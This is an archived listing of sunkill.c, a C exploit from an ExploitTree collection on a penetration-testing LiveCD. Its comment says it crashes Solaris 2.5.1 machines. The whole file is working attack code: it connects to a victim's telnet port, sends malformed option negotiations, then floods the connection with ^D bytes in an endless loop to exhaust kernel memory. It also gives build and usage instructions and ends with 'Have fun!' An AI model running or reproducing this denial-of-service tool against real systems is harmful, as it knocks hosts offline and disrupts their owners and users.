home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / sunkill.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  94 lines

  1. /*
  2.  This is sunkill.c
  3.  
  4. It Affects at least solaris 2.5.1 machines, both sun4c and sun4m
  5. achitecutures.  I imagine it affects all solaris 2.5.1 machines, both sparc
  6. and x86, but im not sure.  It basically works by opening a telnet
  7. connection on the victim machine and sends a few bad telnet negotiation
  8. options, then flooods the port with lots of ^D characters.  This uses all
  9. the streams memory (i think) on the victims machine and causes the kernel
  10. to get very angry.  The machien crawls to a halt, the cursor in X stops
  11. moving, the machine is unresponsive to the network.  Its a bad situation
  12. all around.
  13.  */
  14. /*
  15. **  To make, if your system is BSD'ish:  gcc <thisfile>
  16. **       ...if your system is SysV'ish:  gcc -lnsl -lsocket <thisfile>
  17. **
  18. **  Usage: a.out <victim's hostname>
  19. **
  20. **  Have fun!
  21. */
  22.  
  23. #include <signal.h>
  24. #include <sys/types.h>
  25. #include <sys/socket.h>
  26. #include <netinet/in.h>
  27. #include <netdb.h>
  28. #include <arpa/telnet.h>
  29. #include <string.h>
  30. #include <unistd.h>
  31.  
  32. #define BUFSIZE 100
  33. #define DOTS
  34.  
  35. void catchit(void)
  36. {
  37.   printf("\nCaught SIGPIPE -- your link may be too slow.\n");
  38.   exit(1);
  39. }
  40.  
  41. int main(int argc, char *argv[])
  42. {
  43.   unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO,  \
  44.                                    TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \
  45.                                    TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO};
  46.  
  47.   unsigned char nastybuf[BUFSIZE];
  48.   struct sockaddr_in sin;
  49.   struct servent *sp;
  50.   struct hostent *hp;
  51.   int s;
  52.  
  53.   typedef void (*sig_t) (int);
  54.   signal(SIGPIPE,(sig_t)catchit);
  55.  
  56.   memset(nastybuf,4,BUFSIZE);  /* ascii 4 = ^D */
  57.  
  58.   if (!(s = socket(AF_INET, SOCK_STREAM, 0)))
  59.     {
  60.       printf("no socket\n");
  61.       exit(1);
  62.     }
  63.   if (!(hp = gethostbyname(argv[1])))
  64.     {
  65.       printf("unknown host\n");
  66.       exit(1);
  67.     }
  68.  
  69.   bzero(&sin,sizeof(sin));
  70.   bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
  71.   sin.sin_family = AF_INET;
  72.   sp = getservbyname("telnet","tcp");
  73.   sin.sin_port = sp->s_port;
  74.  
  75.   if (connect(s,(struct sockaddr *)&sin,sizeof(sin)) == -1)
  76.     {
  77.       printf("can't connect to host\n");
  78.       exit(1);
  79.     }
  80.  
  81.   printf("connected to %s\n",argv[1]);
  82.   write(s,kludge_telopt,21);   /* kludge some telnet negotiation */
  83.  
  84.   /*  "Let them eat ^Ds..." */
  85.  
  86.   while (write(s,nastybuf,BUFSIZE) != -1)
  87.     {
  88.  
  89. #ifdef DOTS
  90.       write(STDOUT_FILENO,".",1);
  91. #endif
  92.     }
  93. }
  94. /*                    www.hack.co.za              [2000]*/